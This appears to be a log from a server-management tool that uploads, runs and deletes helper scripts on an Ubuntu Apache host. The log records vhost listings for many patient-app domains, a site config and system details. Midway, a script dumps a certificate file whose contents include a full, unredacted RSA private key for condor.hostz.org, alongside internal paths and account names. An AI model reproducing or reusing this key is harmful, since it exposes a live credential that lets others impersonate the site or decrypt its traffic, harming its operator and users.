         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-14 06:00:47: 

PUT: /tmp/pkp465586

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-14 06:00:47: 

chmod 755 /tmp/pkp465586; /tmp/pkp465586; rm /tmp/pkp465586

2025-11-14 06:00:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf	1822

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-14 06:00:47: 

PUT: /tmp/pkp383879

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-14 06:00:47: 

chmod 755 /tmp/pkp383879; /tmp/pkp383879; rm /tmp/pkp383879

2025-11-14 06:00:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt	5349
14:bf:94:e1:97:82:13:9d:9c:69:8f:0b:b9:5c:f8:d9

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv5STSHH+2vPOt1UcNQz678+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTE0MDUwMjE1WhcNMjYwMjEyMDUwMjE0WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA5A+CsA9KzfZx4NOB+XQ0aHFV29KROf0iuo7+uPKy6jEKdF4N+gRlS/XAWFQr
/W+jm/+yu3Z5WFw5K1JfnpwbkUX6lPaCcXw/Azk0Bq7PzBVpjw/WpJNYKaUmxXxO
tnV67Md80R7dDjEifOhVrNqKr7GjasIaRPT/HwMAIVJ2X7jUdoRB6OQGn+Fp9i7M
AEFZSrqYLq2sw2Qj/zCoeLSsXQpr27FXK4sepSSxliINGbpMPfylDYvap8CnA4LA
rionv+jx01xYScp6l2eAEYLI0TiHpX8edeKGZs6Xglc+Qy/T+jDa9WlXnSR6/8BU
ctYNt1e7bFIUYUy2AH9DvuDNewIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT/VR3N0u2jl//fjA4HEODls90TdzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82My5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDL
OPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZqA87AwAAAEAwBHMEUC
IBaRy6TTBRCeDkXegsH7TGfP3PTZS3cQsJifzPlAiL5sAiEAn4/FJamY7hv7nFNm
b0kiGTU1xo+pe60smJDMXOtS04QAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZqA87AMAAAEAwBIMEYCIQDfMt6huFnxYHrilrlq/pR6YPfFZ3Q3
/zogU+snCAjQUwIhAIJ/TDda32w1djcAq+EcE4VTgyEdGc8M/hC0KmwBNNE0MA0G
CSqGSIb3DQEBCwUAA4IBAQDC2YwaM+RBe6FiimY6JtmzqexmCUkAVoIB0TaY7khm
ibo8jzh/OPSdiqPwCYpWUFJ5Dg2ZZlTUcQ/vz4IgeaiNzVCKYMPhDFFD7xTcJFJ7
/irR1tw3wP4CRWmENLs+021e34eUlBG2dvUxO9KKZyNdG7U3TTVCP+PbA2m3aK4y
9YBXgf4+fEDIhwKUJjUNkxRUniKIniKledQp9o0eMu3Ep1WDIaeyQvZVI69cFz2p
+aUugUKv+OkJoacy9mZgUTaA+CHVRhDlRqJ6b8g9lsdfh/imCLSy9Wli272QsBbv
aU2igce0nmqvZHf7UPxYY21aaIe7cUFL81gSQGCysNm1
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkD4KwD0rN9nHg
04H5dDRocVXb0pE5/SK6jv648rLqMQp0Xg36BGVL9cBYVCv9b6Ob/7K7dnlYXDkr
Ul+enBuRRfqU9oJxfD8DOTQGrs/MFWmPD9akk1gppSbFfE62dXrsx3zRHt0OMSJ8
6FWs2oqvsaNqwhpE9P8fAwAhUnZfuNR2hEHo5Aaf4Wn2LswAQVlKupgurazDZCP/
MKh4tKxdCmvbsVcrix6lJLGWIg0Zukw9/KUNi9qnwKcDgsCuKie/6PHTXFhJynqX
Z4ARgsjROIelfx514oZmzpeCVz5DL9P6MNr1aVedJHr/wFRy1g23V7tsUhRhTLYA
f0O+4M17AgMBAAECggEBAJ+pACwzuIHyq4zjZhX2tY388kff5Y38WqjS3R8rwffU
d2Y6RnynQSdpl8v+uYFG+/qFi2JUMeWbQubCV3DaBy6wGBrbbTz358Fg9bxL++v7
fZgLVZCIGuuk1DzjptNz8af8jLR2b/m0ill56ikGIpuXuDlQREXMYyMZ3ah2a6rc
j4du73NThgSVVxy8n5tAv+w5gQfouaDElyN5PSexEcDM3r3pHMs27pybVlMhHDuS
8B/m9QK/V2bgGlGtUtuVh71ySR4MdmDS/FRa2fRjtOUifjQLozead4Zj2FMhuFjm
Ibw5HS91nENPnK/w8nQmIc1YhDvYP5HJ8MvU2mT9aVECgYEA8iFF6bZzCiEtpKNc
RCBhlpm/CRMwn1alJGiXP8VVXCGnh3ja2/WQLKNP7SqfAU7Gntg+IUZ1q4DXhDAI
hQRJMlCvlnx/18emAZAyjczBjlas29c3xHlrb3TqCdQ/mu3+Jr34YJ4SKO7FAdeK
NJ2aoRoxaRNiSDD3TXjVOpCCwukCgYEA8R/qjMoUZrbTcU4Ax1DavON+K/GJVIu9
ZcYOwyWv3UZvpOnG5LWG7EvRTXyx3lTf050Fd1HpeT4z8mmlBqhMK4BdVjn6UqXJ
8SrU9qWykx4wZEb3rDCabMK/jP/cpEW1NTcG3IGhP4mnaWcS5dZmjLdtllsTnHAc
nYhGOztB5sMCgYBzWA5qC5Q52xxXNcsaWSKkD5HFzPJ4tVnuQjTrGCJVxWJ9UsFP
z2djHFlS7d7ZTKGpwfG3AE3F6ZbBTfCBDU2hPnanBaARNvaKABtVGZmLKRcnkxrp
6b2YVuW20PmL4JwV8KGFxUd5YGVRP1CDSCEFZejr2WQUZ98ndMx/HaBtIQKBgQDI
50vZZKJc9qX0OQbjC1ZFndLJsGU5QXlcLAquxF7kokRxhqtGco1por5Qrr3Qvq0D
t0gPo/tBHvfPWgC7LEzSzhB2wLX2WNaKj6KDo4nHlJbDZnIEUTbJufY5+BGR+dbC
8QdRgNymgP4xD0WqpNorEsZHSblsVekxxJKn1XbSWwKBgFoMYe5EQJ1deh7T2Yc7
96YhjedctQuGEXgSGS+4lVMVL6JlymEuPqw/NgFdyAVWAMpzcvO4d1XlN9WKCBOv
LpaE2AIMw0kFi1dCoyzhLHJmJyDJ+pBVw67x/8mCWAsM0sWTtHPCI4eb9NK8KaA+
FKFPG7V5eJ2XaXEgmpplXLGG
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-14 06:00:47: Establishing a connection
2025-11-14 06:00:48: Establishing a connection
2025-11-14 06:00:49: 

PUT: /tmp/pkp506340

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-14 06:00:50: 

chmod 755 /tmp/pkp506340; /tmp/pkp506340; rm /tmp/pkp506340

2025-11-14 06:00:50: 


0


2025-11-14 06:00:51: Establishing a remote connection
2025-11-15 06:00:02: Establishing a connection
2025-11-15 06:00:03: Establishing a connection
2025-11-15 06:00:04: 

PUT: /tmp/pkp936235

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-15 06:00:05: 

chmod 755 /tmp/pkp936235; /tmp/pkp936235; rm /tmp/pkp936235

2025-11-15 06:00:05: 


0


2025-11-15 06:00:05: Establishing a remote connection
2025-11-16 06:00:03: Establishing a connection
2025-11-16 06:00:04: Establishing a connection
2025-11-16 06:00:05: 

PUT: /tmp/pkp347194

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-16 06:00:06: 

chmod 755 /tmp/pkp347194; /tmp/pkp347194; rm /tmp/pkp347194

2025-11-16 06:00:06: 


0


2025-11-16 06:00:06: Establishing a remote connection
2025-11-17 06:00:02: Establishing a connection
2025-11-17 06:00:04: Establishing a connection
2025-11-17 06:00:05: 

PUT: /tmp/pkp511623

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-17 06:00:06: 

chmod 755 /tmp/pkp511623; /tmp/pkp511623; rm /tmp/pkp511623

2025-11-17 06:00:06: 


0


2025-11-17 06:00:06: Establishing a remote connection
2025-11-18 06:00:01: Establishing a connection
2025-11-18 06:00:03: Establishing a connection
2025-11-18 06:00:04: 

PUT: /tmp/pkp724745

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-18 06:00:05: 

chmod 755 /tmp/pkp724745; /tmp/pkp724745; rm /tmp/pkp724745

2025-11-18 06:00:05: 


0


2025-11-18 06:00:05: Establishing a remote connection
2025-11-18 16:24:42: Establishing a connection
2025-11-18 16:24:56: Establishing a connection
2025-11-18 16:24:57: Performing Server Status
2025-11-18 16:24:57: 

PUT: /tmp/pkp207768

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-11-18 16:24:58: 

chmod 755 /tmp/pkp207768; /tmp/pkp207768; rm /tmp/pkp207768

2025-11-18 16:24:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		2048		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-87-generic



2025-11-18 16:24:58: 

PUT: /tmp/pkp165956

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-11-18 16:24:59: 

chmod 755 /tmp/pkp165956; /tmp/pkp165956; rm /tmp/pkp165956

2025-11-18 16:24:59: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32832
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       32832  0.0  0.2 256304 35320 ?        Ss   Oct31   0:50 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
